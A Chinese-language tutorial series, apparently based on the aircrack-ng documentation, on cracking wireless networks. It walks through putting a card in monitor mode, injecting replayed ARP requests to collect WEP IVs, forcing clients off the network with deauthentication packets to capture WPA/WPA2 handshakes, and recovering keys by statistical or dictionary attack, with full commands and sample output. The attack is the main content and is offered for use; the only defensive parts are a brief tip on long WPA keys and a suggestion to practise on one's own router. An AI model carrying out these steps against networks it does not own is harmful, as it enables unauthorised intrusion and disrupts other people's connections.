注意上面的 “Got a deauthentication packet”和上面连续的不断尝试. 所以没有建立好联系之前不要进行后面的操作. 

以下给出一些可能的问题和解决方法:



	一些接入点被设置为只允许和一些特定的MAC地址进行连接. 如果是这种情况, 那么我们就不能进行伪装连接了, 除非我们知道哪些MAC地址被允许连接. 如果你怀疑自己遇到的正是这个问题, 可以在尝试伪装连接的时候使用如下命令, 开启另一个会话, 命令: tcpdump -n -vvv -s0 -e -i  | grep -i -E “(RA:|Authentication|ssoc)” 然后查看错误信息.


	在任何时候如果你想确定自己是否已经建立好连接, 使用tcpdump命令. 启动另一个会话, 命令: tcpdump -n -e -s0 -vvv -i ath0. 典型的tcpdump错误信息如下(注意下面的接入点00:14:6c:7e:40:80说明源地址00:0F:B5:88:AC:82没有建立连接):


11:04:34.360700 314us BSSID:00:14:6c:7e:40:80 DA:00:0F:B5:88:AC:82 SA:00:14:6c:7e:40:80   DeAuthentication: Class 3 frame received from nonassociated station





5.使用aireplay-ng的ARP模式注入数据包 


这一步的目的是使用aireplay-ng监听ARP请求然后再将数据包注入到网络. 选择ARP请求是因为接入点会广播它们并产生新的IV. 所以, 着就达到了我们需要段时间内获得大量IVs的目的. 

打开另一个控制台输入命令:


aireplay-ng -3 -b 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0


这样就会开始监听ARP请求, 如果获得一个, aireplay-ng就会立即进行注入. 如果经过长时间后显还没有获得ARP请求( 即显示:got 0 ARP requests), 参考这篇文章. ARP请求开始被注入时会这样显示:




Saving ARP requests in replay_arp-0321-191525.cap
You should also start airodump-ng to capture replies.
Read 629399 packets (got 316283 ARP requests), sent 210955 packets...


你可以通过查看有airodump命令的控制台来检验. 数据包的数量应该迅速上升. “#/s”应该是一个比较正常的数字, 通常来讲是300~400个数据包每秒, 当然100和500也有可能. 

可能遇到的问题及解决:



	如果遇到类似于”Got a deauth/disassoc packet. Is the source mac associated?”这样的提示, 这意味着你已经失去和接入点的连接. 所以我们必须按照前面的方法重新进行连接.




6.用aircrack-ng破解IVs获得密码 


这一步的目的是根据前面获得的IVs破解除出密码. 注意, 出于学习目的, 我们最好使用64位的WEP密码, 这样破解得会快很多. 我们就可以使用”-n 64”将密码破解的长度限定在64位. 以下会介绍两种方法 PTW法和FMS/Korek法, 建议都了解一下.注意: PTW法只有在ARP请求和应答下才能奏效, 而且需要用airodump-ng抓包才行(即不能使用”–ivs”选项). 当然对于我们的实验这些都是满足的.打开另一个会话窗口,输入命令:




aircrack-ng -b 00:14:6C:7E:40:80 output*.cap


其中:



	-b 00:14:6C:7E:40:80 表示接入点地址.

	output*.cap 表示以output为前缀,以cap为后缀的文件




若使用FMS/Korek法, 打开另一个控制台,输入命令




aircrack-ng -K -b 00:14:6C:7E:40:80 output*.cap


其中:



	-K表示FMS/Korek法

	-b 00:14:6C:7E:40:80 表示接入点地址

	output*.cap 表示以output为前缀,以cap为后缀的文件




对于64位的秘钥, 大约需要250,000个IVs来破解. 128位则需要1,500,000. 如果使用PTW法, 64位需要20,000, 128位需要40,000~85,000个. 当然以上都是大致范围, 实际情况变数很大. 成功时应该像这样:




                                              Aircrack-ng 0.9


                              [00:03:06] Tested 674449 keys (got 96610 IVs)

 KB    depth   byte(vote)
  0    0/  9   12(  15) F9(  15) 47(  12) F7(  12) FE(  12) 1B(   5) 77(   5) A5(   3) F6(   3) 03(   0) 
  1    0/  8   34(  61) E8(  27) E0(  24) 06(  18) 3B(  16) 4E(  15) E1(  15) 2D(  13) 89(  12) E4(  12) 
  2    0/  2   56(  87) A6(  63) 15(  17) 02(  15) 6B(  15) E0(  15) AB(  13) 0E(  10) 17(  10) 27(  10) 
  3    1/  5   78(  43) 1A(  20) 9B(  20) 4B(  17) 4A(  16) 2B(  15) 4D(  15) 58(  15) 6A(  15) 7C(  15) 

                       KEY FOUND! [ 12:34:56:78:90 ] 
      Probability: 100%




新手指南

简介


这篇指南旨在帮助读者了解从什么地方着手使用aircrack-ng。当然不可能面面俱到，所以如果要了解更多知识，可参见Forum和Wiki。上一篇简单的WEP加密破解 可以作为实际的操作步骤来参考。




硬件配置和Aircrack-ng的安装


让aircrack-ng正常工作的第一步是为无线网卡选择合适的驱动和补丁。很多网卡可兼容多个驱动，但其中有些是不支持aircrack-ng的。所以，我们的网卡必须要支持aircrack-ng，即可以进行数据包的注入。一个合适的网卡能在一小时之内破解一个无线接入点。硬件的兼容性  这篇文章可以帮助我们判断自己的网卡是什么类型的。判断无线网卡是否兼容 这篇文章可以帮助我们更清晰地了解网卡对aircrack-ng的兼容性。两篇文章也可以帮助我们更多地了解网卡方面的知识。


所以，这里首先需要我们清楚自己用的是什么类型的网卡和芯片。前面的几篇文章 Aircrack-ng支持的网卡列表可以作为参考。可以把这个表格下载下来，然后在http://patches.aircrack-ng.org/上下载相应的补丁。由于笔者所用的是一个Ralink的USB网卡，所以这里就以此网卡为例，来说明如何让aircrack-ng在此网卡上工作。在编译和安装驱动以前，我们需要了解自己使用的Linux发行版的内核信息。如果你使用的是其他的网卡，参照安装驱动 这篇文章。最好在网上多搜集一些资料来确保正确地安装。




Ralink USB rt2570安装指导


如果你的网卡正好是rt2570的USB网卡（例如D-Link DWL-G122 rev. B1 或者 Linksys WUSB54G v4），你应该使用这里（http://homepages.tu-darmstadt.de/~p_larbig/wlan/）的驱动，这些都是经过特别调整过的驱动，用来支持aircrack-ng的注入功能，而且它们都不需要额外的补丁。下面的命令是用来解压，编译，和安装这些驱动：




tar xfj rt2570-k2wrlz-1.3.0.tar.bz2
cd rt2570-k2wrlz-1.3.0/Module
make
make install


最后一步需要root权限来执行（用su命令来改变权限）。使用如下命令将驱动模块编译进内核：




modprobe rt2570


插入芯片后，它应该被识别为rausb0。所以可以通过iwconfig命令列出所有无线装置，来检验驱动是否已经被正确地安装。




Aircrack-ng的安装


软件源 

从aircrack-ng官网（http://www.aircrack-ng.org/）获得最新版本的aircrack-ng。以下给出一个命令的范例（其中的版本信息需要自己调整）




tar xfz aircrack-ng-1.0-rc1.tar.gz
cd aircrack-ng-1.0-rc1
make
make install


通常最后一步需要以root权限来执行，用su或者sudo -s来进入root。或者在ubuntu下用sudo make命令。


YUM 

不建议使用这种方法安装，命令如下：




su
yum -y install aircrack-ng


RPM 

不建议使用这种方法安装，命令如下：




su
rpm -ihv http://dag.wieers.com/rpm/packages/aircrack-ng/aircrack-ng-0.7-1.el4.rf.i386.rpm




IEEE 802.11基本知识


发现网络 

每个接入点每秒中大约会发送10个数据包（被叫做beacon frame），这些数据包包含下列信息：



	网络名称（ESSID）

	是否使用了加密

	支持的数据传输速度

	工作的频道




连接网络 

连接网络也有多种方法，其中最常见的是Open System Authentication



	尝试从接入点获得认证

	接入点认证

	尝试从接入点获得连接

	接入点连接




这是最简单的情形，但是非法的连接通常会有种种问题出现



	对使用WPA/WPA2加密的网络，需要使用EAPOL认证。接入点会在第二步拒绝认证

	接入点有一个允许连接的列表（MAC地址），不允许其他设备连接，也叫做MAC地址过滤

	接入点使用共享密钥认证，需要提供正确的WEP密钥来连接（可参见此文）




简单的嗅探和破解


发现网络 

aircrack-ng里面的airodump-ng是为此设计的，除此以外，也可使用其他工具如Kismet。在发现网络之前，需要将网卡置于监听模式（monitor mode）。监听模式可以让PC监听所在范围内的每一个无线包，也可以将包注入到网络当中。开启monitor mode的命令是：




airmon-ng start rausb0


为了验证是否成功，可以运行iwconfig命令。关于airmon-ng的介绍里有如何运行其他网卡的说明。然后开启airodump-ng命令寻找网络：




airodump-ng rausb0


“rausb0”是网络接口的名称，如果你用的是其他网卡，那么可能就需要一个不同的名称。对于目前的大多数驱动来说，wlan0是最常见的接口名称，但是对于监听模式（运行airmon-ng以后），会创建一个叫做mon0的接口来使用。如果airodump-ng能够连接到网卡，屏幕上应该会像这样显示 

[image: 这里写图片描述]


airodump-ng会在不同的频道之间跳变，并且显示它能接收到的所有接入点。频道1到14是802.11b/g的频道（不同国家略有区别）。频道36到149是802.11a的频道。上图上面的数据块表示找到的接入点信息：





  	名称
  	含义




  	BSSID
  	接入点的MAC地址



  	PWR
  	信号强度（有一些驱动并不显示此项）



  	Beacons
  	接收到大的beacon frames的数量，如果没有显示信号强度，可由此数值来衡量，数值越大信号越强



  	Data
  	接收到的data frames的数量



  	CH
  	接入点工作的频道



  	MB
  	接入点模式（11表示802.11b，54表示802.11g，两者之间表示两者的混合）



  	ENC
  	表示加密，OPN:未加密，WEP:WEP加密，WPA:WPA或者WPA2加密，WEP?：WEP或者WPA加密（不明）



  	ESSID
  	网络名称









下面的数据块表示找到的用户





  	名称
  	含义




  	BSSID
  	该用户所接入的AP的MAC地址



  	STATION
  	该用户自己的MAC地址



  	PER
  	信号强度，有些网卡无此项



  	Packets
  	接收到的data frames的数量



  	Probes
  	该用户探查到的网络名称









接下来就是选取一个目标网络，这个网络需要已经有用户连接，因为破解一个没有连接的网络更加困难（参见如何破解没有连接的WEP网络）,需要是WEP加密并且要有很好的信号强度。（如果使用带天线的网卡，可以调整一下天线的方向来获得最好的信号强度）。在上面的例子中，00:01:02:03:04:05网络是唯一一个满足上述条件的网络。


嗅探IVs 

监听一个频道，并把所得的数据存储起来以便后来的破解，命令：




airodump-ng -c 11 --dssid 00:01:02:03:04:05 -w dump rausb0


参数”-c”选择频道，参数”-w”是存储数据文件名的前缀。”–bssid”和接入点地址表示选择的接入点。（”–bssid”是新版的airodump-ng才供选的参数）。在破解WEP之前，通常需要收集到40 000至85 000个IVs。每一个数据包都含有一个IVs，IVs能够被重用，所以正常来讲，捕捉的数据包的数量要比IVs多一点。在网络的数据交换不是特别频繁的情况下，等待捕捉这么多的Ivs需要很长一段时间，通常可用一些方法来加速这个过程，见其他文章的介绍。


破解 

等到获得足够数量的IVs以后，就可以开始破解WEP网络了。命令如下：




aircrack-ng -b 00:01:02:03:04:05 dump-01.cap


参数”-b”后面是目标接入点的MAC地址，dump-01.cap就是包含有IVs的文件。可以多个文件同时使用，加在命令后即可，也可用dump*.cap来表示多个文件。这里 是更多关于aircrack-ng的参数和输出的介绍。


需要指出的是，破解一个网络所需要的IVs不是绝对的。这是因为有些IVs会比另一些IVs暴露出更多的信息，所以如果运气好的话，只需要20 000个IVs就可以破解一个网络了。但是更经常的情形是，aircrack-ng需要运行很长一段时间（一周甚至一个月）然后发现并不能破解出来。较多的IVs会使破解变得更迅速，通常是几分钟甚至几秒钟。实验表明40 000到85 000个IVs就足以破解一个网络了。




主动攻击


注入支持 

一般的网卡如果不添加驱动补丁的话是不支持注入（injection）的，一些网卡只支持特定的攻击。可参见Aircrack-ng支持的网卡列表这篇文章，在其中查找aireplay支持的那一列，判断自己的网卡是否支持aireplay。这个列表也并不是绝对的，所以如果发现自己的网卡支持aireplay而并不在列表之内，可帮助其更新列表。如上所述，所以在进行下面的尝试之前，首先要保证自己的网卡及驱动支持注入。最简单的测试方法是注入测试


然后，还需要接入点的MAC地址（BSSID）和网络名称（ESSID），该网络不能有MAC地址过滤，而且在信号接收范围内。用aireplay通过以下命令尝试同接入点连接：




aireplay-ng --fakeauth 0 -e "your network ESSID" -a 00:01:02:03:04:05 rausb0


参数”-a”后的值是接入点的MAC地址，如果注入成功的话应该会有类似于下面的提示：




12:14:06  Sending Authentication Request
12:14:06  Authentication successful
12:14:06  Sending Association Request
12:14:07  Association successful :-)


如果没有成功的话：



	检查ESSID和BSSID

	保证接入点没有使用MAC地址过滤

	使用另一个接入点重新测试

	确保驱动装了合适的补丁来支持注入

	用”6000 -o 1 -q 10”代替”0”试一试




ARP攻击 

在证实数据包注入有效之后，我们就可以采取一些方法来加速获取IVs：ARP应答注入攻击 

思想 

ARP工作原理是：广播请求寻找一个IP，相应的IP接收到请求后做出应答。因为WEP并不会保护这个过程，所以我们可以嗅探出一个数据包，然后把它一遍又一遍地发送出直到生效。


简单方法 

首先打开一个在运行airodump-ng命令的窗口，aireplay和airodump可一起运行，等待一个使用目标网络的用户出现，然后进行攻击：


aireplay-ng --arpreplay -b 00:01:02:03:04:05 -h 00:04:05:06:07:08 rausb0


“-b”接BSSID，”-h”连接该网络用户的MAC地址。现在就可以等待ARP数据包了，通常需要几分钟时间。如果成功的话，会见到如下类似的提示：




Saving ARP requests in replay_arp-0627-121526.cap
You must also start airodump to capture replies.
Read 2493 packets (got 1 ARP requests), sent 1305 packets...


如果想要停止该过程，没有必要等待下一个ARP数据包，而可以再一次使用之前抓到的包，通过 -r < filename >实现。如果使用了ARP注入，那么进一步地则可以用PTW法来破解秘密。这样可以极大地减少破解所需要的数据包和破解时间。必须在使用airodump-ng命令时捕获好所有所需的数据包，这就意味着不能使用”-ivs”这个参数。对于aircrack-ng，使用 

“aircrack -z < filename >”


加强方法 

大多数的操作系统会在断开网络连接的时候清理ARP缓存。如果他们想在重新连接之后发送数据包，则必须发送ARP请求。所以本方法是断开用户的网络连接，迫使他重新连接网络从而捕获到ARP请求。在保证airodump-ng和aireplay-ng运行的同时，打开另一个窗口，进行攻击：




aireplay-ng --deauth 5 -a 00:01:02:03:04:05 -c 00:04:05:06:07:08 rausb0


“-a”接BSSID，”-c”接用户的MAC地址。大数的用户会自动重新连接，但这种方法的风险是，相比其他攻击，更容易引起注意和被发现。


破解WPA/WPA2

简介


这篇文章介绍一下如何使用aircrack-ng破解采用预共享密钥（PSK）认证的WPA/WPA2网络。推荐读者先阅读一些关于WPA/WPA2的背景知识。可参见这里。或者这篇文章。点击此处可下载pdf文档。另外，这篇WPA包的捕捉将作为本档的补充文档。


WPA/WPA2支持多种类型的认证机制，包括预共享密钥。而aircrack-ng则只能破解WPA-PSK。所以在破解之前，应该使用airodump-ng命令确定网络的认证类型。如果是PSK类型的，再行破解。


破解WPA/WPA2和WEP也有很大的不同，不像在WEP中，有统计方法可以加速破解过程，在破解WPA/WPA2时，只有最平常的暴力破解。这是因为在WPA/WPA2中，密钥不是静态的，所以收集IVs并不会加速对密钥的破解过程。唯一对破解有帮助的事情是，当用户和接入点之间进行认证时所发送的数据包。当用户试图连接到接入点时，需要与之进行握手。又因为PSK的密钥可以是8至63字符的任意长度，就使得破解变得更加困难。


我们可以进行破解的WPA/WPA2网络，密钥大多是某个单词，或者非常短的字符数字组合。相反，如果我们想要防止自己的网络被破解，那么采用WPA/WPA2加密，且将密钥设置到63个字符（掺杂一些特殊符号），基本就可以了。


采用暴力破解方式的后果就是付出的时间代价非常大。因为破解过程涉及到大量的计算和比对，通常来讲笔记本每秒只能尝试大约50到300个密钥。很显然，这和电脑的计算能力有关。于是破解一次，就需要比对一个密钥词典几个小时，甚至几天。如果想尝试通过字符的排列和组合来构建密钥，可以先看一下这篇文章来了解需要多长时间。


注：



	我们用来破解WPA/WPA2的密钥词典必须含有该网络的密钥，否则aircrack-ng是无法破解的

	破解WPA和WPA2从理论上来说是没有什么区别的，因为两者的认证机制是相同的

	建议读者使用自己家的路由器来进行实验，这样可以更容易地熟悉这些命令




前提



	我们所用的网卡及驱动支持注入，可参见注入测试

	距离接入点足够地近，以便我们能够发送和接收数据包。再一次强调，能接收到数据包不表示就一定能将数据包传到接入点（接入点的传送距离一般要比我们的网卡远）。可以通过下面的步骤来判断我们的网卡是否能和接入点进行通信。

	保证自己使用的是aircrack-ng的较新版本（>0.9.1），如果没有，那么有些命令可能会有所不同。 

确保自己满足以上所有的前提，然后再进行下面的操作。在下面的例子中，我们需要将”ath0”改为自己网卡的接口。




需要用的信息


在下面的例子中，所使用的各种信息罗列如下：



	网卡的MAC地址：00:0F:B5:88:AC:82

	接入点用户的MAC地址：00:0F:B5:FD:FB:C2

	接入点的MAC地址（BSSID）：00:14:6C:7E:40:80

	网络名称（ESSID）：teddy

	接入点信道：9

	无线接口：ath0 

在我们自己尝试的时候，需要同样收集到相应的信息。然后在命令中做相应的替换。




破解步骤


概述 

我们最主要的目标是WPA/WPA2认证握手包，收集到以后就可以使用aircrack-ng来破解了。获取认证包的方式有主动和被动两种方式。主动的意思是可以通过一定方式，加快我们获取认证包的过程；被动就是一直等待认证包的出现。被动也有一定的好处，就是我们不用注入功能就可以完成，因此Windows版本的aircrack-ng也可以进行。下面是一些基本的步骤：



	将网卡在特定的信道设置为monitor模式

	在该信道上使用airodump-ng获取特定BSSID的握手包

	使用aireplay-ng来解除用户认证，加速握手包的收集

	利用所得的握手包，通过aircrack-ng来破解出秘钥






步骤一：开启monitor模式


这一步的目的是将网卡置于monitor模式，monitor模式使得我们的网卡可以监听到所在范围内的所有数据包。正常情况下，我们的网卡只接受那些发送给我们的数据包。所以只有通过monitor模式，我们才有可能收集到接入点的握手包。而且，它也是我们进行解除认证攻击的前提（加速方法）。将网卡设定到monitor模式的具体方法，因我们所使用的驱动不同而不同。通过下面的命令，我们首先可以来查看驱动信息：


airmon-ng


对于Ralink，Atheros和Broadcom网卡，屏幕会出现：




 Interface       Chipset         Driver

 rausb0          Ralink RT73     rt73
 wlan0           Broadcom        b43 - [phy0]
 wifi0           Atheros         madwifi-ng
 ath0            Atheros         madwifi-ng VAP (parent: wifi0)



	b43驱动后的【phy0】标签表示该驱动是mac80211驱动，注意mac80211驱动只支持>v1.0-rc1版本的aircrack-ng

	两个Atheros网卡的驱动均是madwifi-ng，下面给出了将其设定为monitor模式的方法

	Ralink网卡不是mac80211，又不是madwifi-ng驱动的，所以它使用的是ieee80211驱动，参见常用方法将其设定为monitor模式




步骤一：1. 设定madwifi-ng驱动的网卡 

首先，停掉ath0，输入命令：




airmon-ng stop ath0


屏幕会出现：




 Interface       Chipset         Driver

 wifi0           Atheros         madwifi-ng
 ath0            Atheros         madwifi-ng VAP (parent: wifi0) (VAP destroyed)


然后输入iwconfig查看是否还有其他athX的接口，应该会出现类似下面的内容：




 lo        no wireless extensions.

 eth0      no wireless extensions.

 wifi0     no wireless extensions.


如果显示还有其他的athX接口的话，我们需要将它们都停掉（airmon-ng stop athX）。然后，再一次用iwconfig命令确认自己已经停掉所有的athX接口。最后，我们将网卡设定到信道9上的monitor模式：




airmon-ng start wifi0 9


注：在这个命令中，我们使用了wifi0而不是ath0接口，这是因为我们使用的是madwifi-ng驱动。


屏幕会显示：




 Interface       Chipset         Driver

 wifi0           Atheros         madwifi-ng
 ath0            Atheros         madwifi-ng VAP (parent: wifi0) (monitor mode enabled)


注意到，此时ath0已经被设定成了monitor模式。同样，可以使用iwconfig命令来验证，屏幕会显示：




 lo        no wireless extensions.

 wifi0     no wireless extensions.

 eth0      no wireless extensions.

 ath0      IEEE 802.11g  ESSID:""  Nickname:""
        Mode:Monitor  Frequency:2.452 GHz  Access Point: 00:0F:B5:88:AC:82   
        Bit Rate:0 kb/s   Tx-Power:18 dBm   Sensitivity=0/3  
        Retry:off   RTS thr:off   Fragment thr:off
        Encryption key:off
        Power Management:off
        Link Quality=0/94  Signal level=-95 dBm  Noise level=-95 dBm
        Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
        Tx excessive retries:0  Invalid misc:0   Missed beacon:0


从上面的信息中，我们可以看到ath0确实已经处在monitor模式了。它的工作频率为2.452GHz，信道为9，接入点项（Access Point）表示的是我们网卡的MAC地址（前面已经说过，只有在madwifi-ng驱动下才会有这一项）。建议在进行下面的操作之前，都像这样检查一下，看看是否有异常。


步骤一：2. 设定mac80211驱动的网卡 

不像madwifi-ng那样，使用mac80211驱动时，我们不需要移除wlan0接口了。直接可使用下面的命令：




airmon-ng start wlan0 9


屏幕显示：




 Interface       Chipset         Driver

 wlan0           Broadcom        b43 - [phy0]
                                 (monitor mode enabled on mon0)


可以看到，airmon-ng为我们创建了一个monitor模式的mon0接口。所以，在后续的命令中，我们都要使用这个接口来进行各种操作。此时，wlan0仍然在managed模式，并且能够正常使用。只要wlan0所连接入点的信道和目标接入点的信道相同，且我们没有进行信道跳跃的操作。


同样，为了验证，输入iwconfig命令：




 lo        no wireless extensions.
 eth0      no wireless extensions.

 wmaster0  no wireless extensions.

 wlan0     IEEE 802.11bg  ESSID:""
           Mode:Managed  Frequency:2.452 GHz  Access Point: Not-Associated
           Tx-Power=0 dBm
           Retry min limit:7   RTS thr:off   Fragment thr=2352 B
           Encryption key:off
           Power Management:off
           Link Quality:0  Signal level:0  Noise level:0
           Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
           Tx excessive retries:0  Invalid misc:0   Missed beacon:0

 mon0      IEEE 802.11bg  Mode:Monitor  Frequency:2.452 GHz  Tx-Power=0 dBm
           Retry min limit:7   RTS thr:off   Fragment thr=2352 B
           Encryption key:off
           Power Management:off
           Link Quality:0  Signal level:0  Noise level:0
           Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
           Tx excessive retries:0  Invalid misc:0   Missed beacon:0


这里，可以看到mon0已经被设定为monitor模式了。它的工作频率为2。2.452GHz。因为不是madwifi-ng驱动，所以也没有Accesss Point这一项。同样可以看到，wlan0仍然存在，处在managed模式上。这时，因为两个接口的频率是一样的，所以它们的信道也必须相同，改变其中一个信道会导致另一个的信道也改变。


步骤一：3. 设定其他驱动的网卡 

对于其他驱动（基于ieee80211）的网卡，只需输入下面的命令即可（将rausb0替换为我们自己的接口名）：




airmon-ng start rausb0 9


屏幕会显示：




 Interface       Chipset         Driver

 rausb0          Ralink          rt73 (monitor mode enabled)


这时，接口就应该可以使用了。




步骤二：使用airodump-ng收集认证握手包


这一步的目的是捕捉接入点的握手包，输入命令：




airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w psk ath0


其中：



	-c 9 表示网络所在的信道

	–bssid 00:14:6C:7E:40:80 表示接入点的MAC地址

	-w psk 表示我们用来存放IVs文件名前缀

	ath0 表示接口名




注意：不要使用–ivs参数，因为我们需要收集完整的包。当一个用户连接到接入点被捕获到认证包时，会显示下面的内容：




  CH  9 ][ Elapsed: 4 s ][ 2007-03-24 16:58 ][ WPA handshake: 00:14:6C:7E:40:80

  BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID

  00:14:6C:7E:40:80   39 100       51      116   14   9  54  WPA2 CCMP   PSK  teddy                           

  BSSID              STATION            PWR  Lost  Packets  Probes                                             

  00:14:6C:7E:40:80  00:0F:B5:FD:FB:C2   35     0      116  


上面的信息中，我们应该注意到右上角的”WPA handshake: 00:14:6C:7E:40:80”，这表明airodump-ng已经成功捕获了一个认证包。下面显示的是没有用户连接时的信息：




  CH  9 ][ Elapsed: 4 s ][ 2007-03-24 17:51 

  BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID

  00:14:6C:7E:40:80   39 100       51        0    0   9  54  WPA2 CCMP   PSK  teddy                           

  BSSID              STATION            PWR  Lost  Packets  Probes   


常见问题及解决方法 

可以参见文章末尾总结的常见问题。 

如果想知道我们是否已经捕捉到了握手包，有两种方式。第一种，如上所述，通过观察显示内容右上角的信息。第二种，使用Wireshark，通过eapol过滤，这样就可以得到。


步骤三：使用aireplay-ng对用户进行解除认证攻击


这一步是可选的，如上所述，是为了加快捕捉握手包的过程。如果足够耐心的话，我们可以一直等到某个用户连接网络时捕捉握手包。很显然，采用这样的方式需要已经有用户连接上了接入点，我们通过断开它的连接，迫使其重新认证，如此捕捉认证包。


我们需要一个已经连接到该网络的用户的MAC地址，输入命令：


aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:FD:FB:C2 ath0


其中：



	-0表示解除认证攻击

	1表示发送出的解除认证包（数量可选）

	-a 00:14:6C:7E:40:80接入点的MAC地址

	-c 00:0F:B5:FD:FB:C2与接入点连接用户的MAC地址

	ath0 表示接口名称




屏幕会显示：




11:09:28  Sending DeAuth to station   -- STMAC: [00:0F:B5:34:30:30]


注意：因为需要我们的PC直接发送数据包给接入点接收，所以还是要保证我们与接入点的距离足够的近。我们也可以使用tcpdump命令，来尝试获取用户的ACK包，以此验证用户是否已经收到解除包的干扰。




步骤四：使用aircrack-ng破解秘钥


这一步的目的当然就是通过所得的认证包破解秘钥。要完成这一步，我们必须要有一个秘钥词典。然后，aircrack-ng通过尝试词典中的每一个词，来试图破解秘钥。


在aircrack-ng源码中的test文件夹中，有一个小的词典”password.lst”。Wiki FAQ里有拓展的词典。我们也可也通过使用John the Ripper来生成自己词典，然后通过aircrack 

-ng使用它。打开另外一个终端，输入命令：


aircrack-ng -w password.lst -b 00:14:6C:7E:40:80 psk*.cap


其中：



	-w password.lst表示词典文件，如果文件不在运行路径中，则需要完整路径

	*.cap是我们刚刚捕捉的含有认证包的文件，使用了通配符来包含所有文件




当没有握手包时，会这样输出：




 Opening psk-01.cap
 Opening psk-02.cap
 Opening psk-03.cap
 Opening psk-04.cap
 Read 1827 packets.

 No valid WPA handshakes found.


这时，我们必须返回步骤三，重新获取握手包。


当找到握手包时，会这样输出：




 Opening psk-01.cap
 Opening psk-02.cap
 Opening psk-03.cap
 Opening psk-04.cap
 Read 1827 packets.

 #  BSSID              ESSID                     Encryption

 1  00:14:6C:7E:40:80  teddy                     WPA (1 handshake)

 Choosing first network as target.


这时，aircrack-ng已经开始尝试破解秘钥了。这个过程所花费的时间因密码难度，PC计算能力而异。成功时，会这样输出：




                               Aircrack-ng 0.8


                 [00:00:00] 2 keys tested (37.20 k/s)


                         KEY FOUND! [ 12345678 ]


    Master Key     : CD 69 0D 11 8E AC AA C5 C5 EC BB 59 85 7D 49 3E 
                     B8 A6 13 C5 4A 72 82 38 ED C3 7E 2C 59 5E AB FD 

    Transcient Key : 06 F8 BB F3 B1 55 AE EE 1F 66 AE 51 1F F8 12 98 
                     CE 8A 9D A0 FC ED A6 DE 70 84 BA 90 83 7E CD 40 
                     FF 1D 41 E1 65 17 93 0E 64 32 BF 25 50 D5 4A 5E 
                     2B 20 90 8C EA 32 15 A6 26 62 93 27 66 66 E0 71 

    EAPOL HMAC     : 4E 27 D9 5B 00 91 53 57 88 9C 66 C8 B1 29 D1 CB 


常见问题及解决方法


捕捉不到握手包 

握手包的捕捉是一个很艰难也很有意思的过程，需要我们自己不断尝试。出现问题时，一般可以从如下方面进行检查：



	我们网卡的传输标准要和接入点以及客户端相同。举例来说，如果我们网卡的是b，而接入点和客户端的是g，那么我们就不能捕捉到握手包。特别是对于一些比较新的接入点，因为它们可能使用了turbo或者其他新的标准。有些驱动支持我们指定标准，有时候iwconfig命令可能也有用，它有一个modulation参数，可以查询一下使用方法。最后，1,2,5.5,11MBit表示的是b，而6,9,12,18,24,36,48,54表示的是g

	有时候会需要将网卡设定到相同的传输速率，IE auto，1MB，2MB，11MB，54MB等

	保证自己用来捕捉的网卡被锁定到和接入点相同的信道。可以通过使用airodump-ng命令时加上参数-c< channel of AP >来达到目的

	保证系统上没有运行connection manager，它可能在你不知情的情况下改变网卡的模式或者所处信道

	保证自己离接入点和用户都比较近

	相反，我们也不能离得太近，太近可能会导致包被丢弃

	尽可能使用wiki上推荐的驱动，有些驱动不能捕捉所有的数据包

	如果可能手动断开和连接来产生握手包

	如果使用解除认证方法，尽量使用少一些的数据包来断开用户的连接。正常一个包就可以了。过多的包可能导致用户无法再次连接到接入点，因此就不会再产生握手包。而且，要使用定向的而非广播的包来进行解除认证攻击。如果我们没有得到ACK包，就表明用户并没有接收到攻击包。

	试着停止在客户端站的无线电台，然后重新启动它

	保证自己没有运行其他可能产生影响的程序，如connection manager，Kismet等等

	用这篇指导来检查一下捕捉的数据包，看看能不能找到问题。例如，缺失了AP包，缺失了客户端包等等




ARP请求重播攻击

描述


作为产生IVs的最有方法之一，ARP请求重播攻击一直非常稳定可靠。程序先监听一个ARP数据包，再回传给接入点，如此就会使接入点又产生一个新的包含IV的包。然后就以这种方式不断地进行下去，接入点就会一直产生新的IV。前面的文章中也提到过，正是这些IVs帮助我们破解一个网络。


什么是ARP


ARP是地址解析协议（Address Resolution Protocol），用来将IP地址转变为物理地址，如以太网地址。一个主机如果想要获得一个物理地址，就必须要在TCP/IP网络中广播一个ARP请求。被请求的主机在接收到这个请求后就会应答出自己的物理地址。ARP是aircrack-ng许多攻击的基础。




用法


基本用法：




aireplay-ng -3 -b 00:13:10:30:24:9C -h 00:11:22:33:44:55 ath0


其中：



	-3表示标准ARP请求重播

	-b 00:13:10:30:24:9C是接入点的MAC地址

	-h 00:11:22:33:44:55是源MAC地址

	ath0是无线接口名称




有两种方式用来重播ARP，第一种也是最简单的一种，就是使用相同的命令但加上”-r”，目的是从上一次成功的ARP重播中读取输出文件。




aireplay-ng -3 -b 00:13:10:30:24:9C -h 00:11:22:33:44:55 -r replay_arp-0219-115508.cap ath0


其中：



	-3表示标准ARP请求重播

	-b 00:13:10:30:24:9C是接入点的MAC地址

	-h 00:11:22:33:44:55是源MAC地址

	-r replay_arp-0219-115508.cap是上一次成功的ARP重播的文件

	ath0是无线接口名称




第二种方法是交互式包重播攻击的一个特例，在这里作为ARP请求重播攻击的补充




aireplay-ng -2 -r replay_arp-0219-115508.cap ath0


其中：



	-2表示交互帧选项

	-r replay_arp-0219-115508.cap是上一次ARP重播成功的文件名

	ath0是无线网卡接口名




用法实例


在尝试下面的实例前，还是首先要保证用airmon-ng将自己的网卡置于监听模式。然后我们需要一个关联用户的MAC地址或者从攻击【1】中得到的假MAC地址。相比之下，前者要简单一些，我们可以通过airodump-ng获得。需要使用关联用户的MAC的原因前面也提到过，因为只有这样，接入点才会接受和重复地发送包。可能需要等待一段时间，直到一个ARP请求出现。然后输入下面的命令：




aireplay-ng -3 -b 00:14:6c:7e:40:80 -h 00:0F:B5:88:AC:82 ath0


屏幕会显示：




Saving ARP requests in replay_arp-0219-123051.cap
You should also start airodump-ng to capture replies.
Read 11978 packets (got 7193 ARP requests), sent 3902 packets...


开始的时候，最后一行会像这个样子：




Read 39 packets (got 0 ARP requests), sent 0 packets...


